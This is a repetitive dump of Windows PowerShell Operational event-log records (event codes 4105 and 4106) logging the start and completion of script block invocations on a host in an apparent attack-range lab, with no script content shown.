TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026583
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026578
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026577
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026555
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026553
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026552
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
